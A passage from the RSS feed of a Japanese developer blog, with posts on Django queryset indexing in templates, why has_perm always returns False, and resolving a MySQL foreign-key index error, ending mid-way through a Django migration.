&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="１件目-最後"&gt;１件目, 最後&lt;/h3&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{{ e.expenseitem_set.first.account_name }}
{{ e.expenseitem_set.last.account_name }}
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="テンプレートフィルター"&gt;テンプレートフィルター&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django &lt;span style="color:#f92672"&gt;import&lt;/span&gt; template
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;register &lt;span style="color:#f92672"&gt;=&lt;/span&gt; template&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Library()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;@register.filter&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;(queryset, i):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset[i]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{% load expenses %} {{ e.expenseitem_set|index:1 }}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="queryset-のインクシング"&gt;QuerySet のインクシング&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;list のように &lt;code&gt;-1&lt;/code&gt; などの Python のインデクシングはできない (するには list(queryset) で list に変換する)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>django: has_permが 常に Falseになる</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-has_perm%E3%81%8C-%E5%B8%B8%E3%81%AB-false%E3%81%AB%E3%81%AA%E3%82%8B/</link><pubDate>Wed, 26 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-has_perm%E3%81%8C-%E5%B8%B8%E3%81%AB-false%E3%81%AB%E3%81%AA%E3%82%8B/</guid><description>&lt;h1 id="has_perm-が常にfalseになる"&gt;&lt;code&gt;has_perm&lt;/code&gt; が常にFalseになる&lt;/h1&gt;
&lt;p&gt;##　無効ユーザーだから(User.is_active == False)&lt;/p&gt;
&lt;p&gt;django.contrib.auth.backends.py:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;BaseBackend&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;has_perm&lt;/span&gt;(self, user_obj, perm, obj&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ユーザーが有効の時だけパーミッション判定する&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; user_obj&lt;span style="color:#f92672"&gt;.&lt;/span&gt;is_active &lt;span style="color:#f92672"&gt;and&lt;/span&gt; super()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;has_perm(user_obj, perm, obj&lt;span style="color:#f92672"&gt;=&lt;/span&gt;obj)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="キャッシュがのこっているため"&gt;キャッシュがのこっているため&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Userオブジェクトをクエリし直す&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MySQL: ERROR 1553 (HY000): Cannot drop index 'uniq_profit': needed in a foreign key constraint</title><link>https://hdknr.github.io/blogs/posts/2023/04/mysql-error-1553-hy000-cannot-drop-index-uniq_profit-needed-in-a-foreign-key-constraint/</link><pubDate>Wed, 26 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/mysql-error-1553-hy000-cannot-drop-index-uniq_profit-needed-in-a-foreign-key-constraint/</guid><description>&lt;h2 id="mysql-error-1553-hy000-cannot-drop-index-uniq_profit-needed-in-a-foreign-key-constraint"&gt;MySQL: ERROR 1553 (HY000): Cannot drop index &amp;lsquo;uniq_profit&amp;rsquo;: needed in a foreign key constraint&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://engineering.mobalab.net/2021/01/19/mysql-cannot-drop-index/"&gt;MySQL で一意制約が削除できない&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;UNIQUE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;uniq_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;,&lt;span style="color:#f92672"&gt;`&lt;/span&gt;accounting_status&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit_sales_id_d56dec15_fk_sales_sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_sales&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit_chk_1&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;CHECK&lt;/span&gt; ((&lt;span style="color:#f92672"&gt;`&lt;/span&gt;fiscal_year&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit_sales_id_d56dec15_fk_sales_sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;INDEX&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;uniq_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ADD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit_sales_id_d56dec15_fk_sales_sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_sales&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;実行:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit_sales_id_d56dec15_fk_sales_sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;DROP&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;INDEX&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;uniq_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Query OK, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;rows&lt;/span&gt; affected (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Records: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Duplicates: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Warnings: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ALTER&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;TABLE&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;ADD&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;CONSTRAINT&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;costs_profit_sales_id_d56dec15_fk_sales_sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;FOREIGN&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;KEY&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;REFERENCES&lt;/span&gt; &lt;span style="color:#f92672"&gt;`&lt;/span&gt;sales_sales&lt;span style="color:#f92672"&gt;`&lt;/span&gt; (&lt;span style="color:#f92672"&gt;`&lt;/span&gt;id&lt;span style="color:#f92672"&gt;`&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Query OK, &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;rows&lt;/span&gt; affected (&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;17&lt;/span&gt; sec)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Records: &lt;span style="color:#ae81ff"&gt;16&lt;/span&gt; Duplicates: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; Warnings: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="django-migration-の失敗"&gt;Django Migration の失敗&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db &lt;span style="color:#f92672"&gt;import&lt;/span&gt; migrations, models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Migration&lt;/span&gt;(migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Migration):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; dependencies &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (&lt;span style="color:#e6db74"&gt;&amp;#39;partners&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0003_auto_20230426_0908&amp;#39;&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; operations &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; migrations&lt;span style="color:#f92672"&gt;.&lt;/span&gt;RemoveConstraint(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model_name&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;partneruserrole&amp;#39;&lt;/span&gt;,
